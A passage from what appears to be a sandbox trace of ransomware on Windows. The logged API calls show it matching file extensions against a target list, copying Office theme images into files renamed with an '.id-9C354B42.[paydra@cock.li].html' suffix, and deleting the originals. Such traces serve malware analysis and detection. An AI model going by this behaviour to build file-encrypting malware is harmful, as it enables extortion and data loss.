(lpString=".7z") returned 3 [0046.328] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.328] lstrlenW (lpString=".dbf") returned 4 [0046.328] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.328] lstrlenW (lpString=".1cd") returned 4 [0046.328] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.328] lstrlenW (lpString=".jpg") returned 4 [0046.328] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.328] lstrlenW (lpString=".doc") returned 4 [0046.328] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.328] lstrlenW (lpString=".docx") returned 5 [0046.328] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.328] lstrlenW (lpString=".pdf") returned 4 [0046.328] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.328] lstrlenW (lpString=".xls") returned 4 [0046.328] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.328] lstrlenW (lpString=".xlsx") returned 5 [0046.328] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.328] lstrlenW (lpString=".ppt") returned 4 [0046.328] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.328] lstrlenW (lpString=".zip") returned 4 [0046.329] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.329] lstrlenW (lpString=".rar") returned 4 [0046.329] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.329] lstrlenW (lpString=".bz2") returned 4 [0046.329] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.329] lstrlenW (lpString=".7z") returned 3 [0046.329] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.329] lstrlenW (lpString=".dbf") returned 4 [0046.329] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.329] lstrlenW (lpString=".1cd") returned 4 [0046.329] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.329] lstrlenW (lpString=".jpg") returned 4 [0046.329] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.329] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.329] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.329] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3970) returned 1 [0046.330] CloseHandle (hObject=0x1a8) returned 1 [0046.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0046.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.330] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.330] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.546] GetLastError () returned 0x0 [0046.546] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xf82, lpOverlapped=0x0) returned 1 [0046.548] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0046.549] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.549] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.549] SetEndOfFile (hFile=0x1c8) returned 1 [0046.549] CloseHandle (hObject=0x1c8) returned 1 [0046.549] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.549] SetEndOfFile (hFile=0x1a8) returned 1 [0046.550] CloseHandle (hObject=0x1a8) returned 1 [0046.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0046.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.551] lstrlenW (lpString=".doc") returned 4 [0046.551] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.551] lstrlenW (lpString=".docx") returned 5 [0046.551] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.551] lstrlenW (lpString=".pdf") returned 4 [0046.551] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.551] lstrlenW (lpString=".xls") returned 4 [0046.551] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.551] lstrlenW (lpString=".xlsx") returned 5 [0046.551] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.551] lstrlenW (lpString=".ppt") returned 4 [0046.551] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.551] lstrlenW (lpString=".zip") returned 4 [0046.551] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.551] lstrlenW (lpString=".rar") returned 4 [0046.551] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.551] lstrlenW (lpString=".bz2") returned 4 [0046.551] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.551] lstrlenW (lpString=".7z") returned 3 [0046.551] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.551] lstrlenW (lpString=".dbf") returned 4 [0046.551] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.551] lstrlenW (lpString=".1cd") returned 4 [0046.551] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.552] lstrlenW (lpString=".jpg") returned 4 [0046.552] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.552] lstrlenW (lpString=".doc") returned 4 [0046.552] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.552] lstrlenW (lpString=".docx") returned 5 [0046.552] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.552] lstrlenW (lpString=".pdf") returned 4 [0046.552] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.552] lstrlenW (lpString=".xls") returned 4 [0046.552] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.552] lstrlenW (lpString=".xlsx") returned 5 [0046.552] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.552] lstrlenW (lpString=".ppt") returned 4 [0046.552] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.552] lstrlenW (lpString=".zip") returned 4 [0046.552] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.552] lstrlenW (lpString=".rar") returned 4 [0046.552] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.552] lstrlenW (lpString=".bz2") returned 4 [0046.552] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.552] lstrlenW (lpString=".7z") returned 3 [0046.552] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.552] lstrlenW (lpString=".dbf") returned 4 [0046.552] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.552] lstrlenW (lpString=".1cd") returned 4 [0046.552] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0046.553] lstrlenW (lpString=".jpg") returned 4 [0046.553] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.553] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.553] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.553] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=937) returned 1 [0046.553] CloseHandle (hObject=0x1a8) returned 1 [0046.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0046.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.553] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.554] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.555] GetLastError () returned 0x0 [0046.555] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0046.556] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0046.557] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.557] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.557] SetEndOfFile (hFile=0x1c8) returned 1 [0046.558] CloseHandle (hObject=0x1c8) returned 1 [0046.558] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.558] SetEndOfFile (hFile=0x1a8) returned 1 [0046.558] CloseHandle (hObject=0x1a8) returned 1 [0046.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.559] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0046.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.559] lstrlenW (lpString=".doc") returned 4 [0046.559] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.559] lstrlenW (lpString=".docx") returned 5 [0046.559] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.559] lstrlenW (lpString=".pdf") returned 4 [0046.559] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.559] lstrlenW (lpString=".xls") returned 4 [0046.559] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.559] lstrlenW (lpString=".xlsx") returned 5 [0046.559] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.559] lstrlenW (lpString=".ppt") returned 4 [0046.559] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.559] lstrlenW (lpString=".zip") returned 4 [0046.559] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.559] lstrlenW (lpString=".rar") returned 4 [0046.559] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.559] lstrlenW (lpString=".bz2") returned 4 [0046.559] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.559] lstrlenW (lpString=".7z") returned 3 [0046.560] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.560] lstrlenW (lpString=".dbf") returned 4 [0046.560] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.560] lstrlenW (lpString=".1cd") returned 4 [0046.560] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.560] lstrlenW (lpString=".jpg") returned 4 [0046.560] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.560] lstrlenW (lpString=".doc") returned 4 [0046.560] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.560] lstrlenW (lpString=".docx") returned 5 [0046.560] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.560] lstrlenW (lpString=".pdf") returned 4 [0046.560] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.560] lstrlenW (lpString=".xls") returned 4 [0046.560] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.560] lstrlenW (lpString=".xlsx") returned 5 [0046.560] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.560] lstrlenW (lpString=".ppt") returned 4 [0046.560] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.560] lstrlenW (lpString=".zip") returned 4 [0046.560] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.560] lstrlenW (lpString=".rar") returned 4 [0046.560] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.560] lstrlenW (lpString=".bz2") returned 4 [0046.561] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.561] lstrlenW (lpString=".7z") returned 3 [0046.561] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.561] lstrlenW (lpString=".dbf") returned 4 [0046.561] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.561] lstrlenW (lpString=".1cd") returned 4 [0046.561] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0046.561] lstrlenW (lpString=".jpg") returned 4 [0046.561] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.561] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.561] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.561] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=29305) returned 1 [0046.561] CloseHandle (hObject=0x1a8) returned 1 [0046.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0046.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.563] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.563] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.564] GetLastError () returned 0x0 [0046.564] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x7279, lpOverlapped=0x0) returned 1 [0046.569] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0046.570] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.570] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.570] SetEndOfFile (hFile=0x1c8) returned 1 [0046.570] CloseHandle (hObject=0x1c8) returned 1 [0046.570] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.570] SetEndOfFile (hFile=0x1a8) returned 1 [0046.571] CloseHandle (hObject=0x1a8) returned 1 [0046.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.571] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0046.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.572] lstrlenW (lpString=".doc") returned 4 [0046.572] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.572] lstrlenW (lpString=".docx") returned 5 [0046.572] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.572] lstrlenW (lpString=".pdf") returned 4 [0046.572] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.572] lstrlenW (lpString=".xls") returned 4 [0046.572] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.572] lstrlenW (lpString=".xlsx") returned 5 [0046.572] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.572] lstrlenW (lpString=".ppt") returned 4 [0046.572] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.572] lstrlenW (lpString=".zip") returned 4 [0046.572] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.572] lstrlenW (lpString=".rar") returned 4 [0046.572] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.572] lstrlenW (lpString=".bz2") returned 4 [0046.572] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.572] lstrlenW (lpString=".7z") returned 3 [0046.572] lstrcmpiW 